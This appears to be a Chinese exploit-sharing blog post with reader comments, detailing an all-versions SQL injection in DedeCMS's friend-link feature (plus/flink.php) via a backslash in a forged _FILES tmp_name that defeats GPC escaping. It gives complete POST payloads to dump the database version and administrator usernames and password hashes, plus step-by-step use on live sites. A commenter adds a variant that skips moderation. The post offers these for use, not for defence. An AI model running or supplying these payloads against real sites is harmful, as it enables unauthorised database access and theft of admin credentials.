DedeCMS另一处全版本通杀SQL注入

common.inc.php 这里开始过滤得很完整,往下看 //转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
uploadsafe.inc.php //29行
 $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
能绕过 GPC plus\flink.php 虽然都经过 htmlspecialchars 我们看看:
htmlspecialchars(string,quotestyle,character-set)
可选。规定如何编码单引号和双引号。 ENT_COMPAT - 默认。仅编码双引号。 ENT_QUOTES - 编码双引号和单引号。 ENT_NOQUOTES - 不编码任何引号。 默认情况下仅编码双引号。 这里不是重点,不过也是能利用的条件之一,用于绕过dede自带的ids。 构造webname 值为:
&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
这里解释一下,经过GPC后 webname 变为 pass\\ 经过刚才 uploadsafe.inc.php 的函数后 webname 变为 pass\ 插入到SQL语句中就变成了
INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','
即吃掉了后面的 ' ,从而实现绕过GPC。 不过ExecuteNoneQuery不支持错误回显,那我们就构造好,让他显示出来吧。于是后面的logo函数就变成:
logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`
ischeck 为1即绕过审核,结果直接显示出来。 完整参数为: 查版本:
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
查密码:
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
利用过程: 一:网站要支持申请友链 url:/plus/flink_add.php 1 =--------------------------------------------------------利用开始-------------------------- 直接填写验证码,抓包 修改POST数据 写人exp:
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
validate为验证码,修改提交即可 2 再打开友情链接 url:plus/flink.php 有个无法显示的图片,查看源码.ok 3   利用工具网上找的,不保证安全有效

30 条评论

  1. 26 December, 2017 19:19 R11; Anita Kluman Online

    [...]MISC[...]

  2. [...]CVE-2017-17730MISC[...]

  3. CVE-2017-17730 R11; 安百科技

    [...]http://0day5.com/archives/1542/[...]

  4. 呵呵

    站长脾气很好啊,要是谁这么问我我早就崩溃了。

    1. 0day5
      @呵呵

      不是脾气好,是大牛们太多了。不小心就被干死了~

  5. 求指教

    我用Fiddler2抓包,抓完以后怎么修改???求教

    1. 0day5
      @求指教

      本站的文章都大多源自网络.并不是都是原创。实际上测试的也不是很多·再说这么多,又不是专职做这个。不可能一一测试

  6. 网络兼职

    网站很不错,无意间发现的,支持一下

  7. 冷笑话

    无意间发现的网站 很不错 挺喜欢的

    1. 0day5
      @冷笑话

      谢谢你的关注~感谢支持

  8. heihui

    火狐有个插件能提交post数据的插件叫什么,:smile:

    1. 0day5
      @heihui

      hackbar

  9. 神兽Helen

    楼上全是逗比

    1. 0day5
      @神兽Helen

      逗逼

  10. junsys

    貌似不能绕过审核

  11. 工具怎么用

    抓包工具怎么用

  12. 你好

    验证码不知道怎么抓

    1. 0day5
      @你好

      validate为验证码,修改提交即

  13. 你好

    希望有详细的教程

    1. 0day5
      @你好

      过程差不多比较详细的了,你再测试测试

  14. 123

    :lol: :mad: :twisted: :roll:

  15. 123

    抓包工具是什么 你的Q是多少。可以加我一下吗

    1. 0day5
      @123

      fiddler

  16. xx

    貌似没有绕过审核啊

  17. littleGee

    绕过管理审核 >> Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&ischeck=1&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ <<

    1. 123
      @littleGee

      貌似没有一个成功的啊。可否指点一下

      1. 0day5
        @123

        妹的,我只是做分享的,没义务都去一一测试吧,本就是转载的,就如你所说,转载不完全的。没成功和我没关系塞,修复了,你的姿势不对..

    2. huihui
      @littleGee

      绕不过去

      1. 0day5
        @huihui

        建议本地测试先

    3. 123
      @littleGee

      可以吗?

发表评论